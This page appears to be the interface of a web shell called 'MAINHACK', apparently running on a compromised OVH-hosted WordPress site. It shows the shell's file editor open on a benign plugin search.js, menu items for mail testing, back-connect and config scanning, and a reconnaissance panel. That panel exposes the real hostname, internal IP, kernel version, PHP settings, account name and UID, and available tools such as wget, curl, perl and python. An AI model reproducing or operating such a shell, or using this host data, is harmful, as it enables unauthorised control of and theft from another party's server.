[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: search.js
const isAnyWordMatching = ( search, content ) => { // Lowarize the search term and the content. search = search.toLocaleLowerCase(); content = content.toLocaleLowerCase(); // Remove all inner spaces and keep only one space between two words. search = search.replace( /\s\s+/g, ' ' ).trim(); // Add the pipe operator to match any single world. search = search.replace( ' ', '|' ); // Match any word in the content. if ( content.match( new RegExp( search, 'g' ) ) ) { return true; } return false; }; export const getSitesBySearchTerm = function ( searchTerm, type, category, pageBuilder, allSites, allCategories, allCategoriesAndTags ) { searchTerm = searchTerm.toLowerCase().trim(); const result = { tags: [], sites: {}, related: {}, related_categories: [], }; /** * Get all page builder sites. */ const singlePageBuilderSites = Object.assign( {}, allSites ); let sites = {}; if ( pageBuilder ) { for ( const siteId in singlePageBuilderSites ) { if ( singlePageBuilderSites[ siteId ][ 'astra-site-page-builder' ] === pageBuilder ) { sites[ siteId ] = singlePageBuilderSites[ siteId ]; } } } else { sites = singlePageBuilderSites; } /** * Filter sites by site type */ let newSites = {}; if ( type ) { for ( const siteId in sites ) { if ( sites[ siteId ][ 'astra-sites-type' ] === type ) { newSites[ siteId ] = sites[ siteId ]; } } sites = newSites; } /** * Filter sites by site category */ newSites = {}; if ( category ) { for ( const siteId in sites ) { if ( Object.values( sites[ siteId ].categories ).includes( category ) ) { newSites[ siteId ] = sites[ siteId ]; } } sites = newSites; } /** * Find in sites. * * Add site in tags. * Add site in sites list. */ for ( const siteId in sites ) { const site = sites[ siteId ]; let siteExist = false; /** * Sites */ if ( isAnyWordMatching( searchTerm, site.title ) ) { siteExist = true; /** * Add site title in tag. */ if ( ! result.tags.includes( site.title ) ) { result.tags.push( site.title ); } /** * Add found sites. */ result.sites[ siteId ] = site; } /** * Add sites if search term match in tags. */ if ( site[ 'astra-sites-tag' ] ) { for ( const tagId in site[ 'astra-sites-tag' ] ) { const tag = site[ 'astra-sites-tag' ][ tagId ].replace( '-', ' ' ); if ( isAnyWordMatching( searchTerm, tag ) ) { siteExist = true; result.sites[ siteId ] = site; } } } /** * Add related categories */ if ( siteExist ) { for ( const siteCatId in site.categories ) { if ( ! result.related_categories.includes( site.categories[ siteCatId ] ) ) { result.related_categories.push( site.categories[ siteCatId ] ); } } } } /** * Add additionals. */ /** * Filter original tags. */ for ( const cat of allCategoriesAndTags ) { if ( cat.name.toLowerCase().includes( searchTerm ) ) { /** * Add tag in tags list. */ result.tags.push( cat.name ); /** * Add parent tag sites into the related list. */ if ( allCategories.length ) { let parentCatId = cat.id.toString(); if ( parentCatId.includes( '-' ) ) { parentCatId = parseInt( cat.id.split( '-' )[ 0 ] ); } for ( const siteCat of allCategories ) { if ( parentCatId === siteCat.id ) { if ( ! result.related_categories.includes( siteCat.slug ) ) { result.related_categories.push( siteCat.slug ); } } } } } } /** * Related Sites. */ for ( const siteId in sites ) { const site = sites[ siteId ]; for ( const siteCatId in site.categories ) { if ( ! result.sites[ siteId ] && result.related_categories.includes( site.categories[ siteCatId ] ) ) { result.related[ siteId ] = site; } } } /** * Limit tags. */ if ( result.tags ) { result.tags = result.tags.slice( 0, 10 ); } return result; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697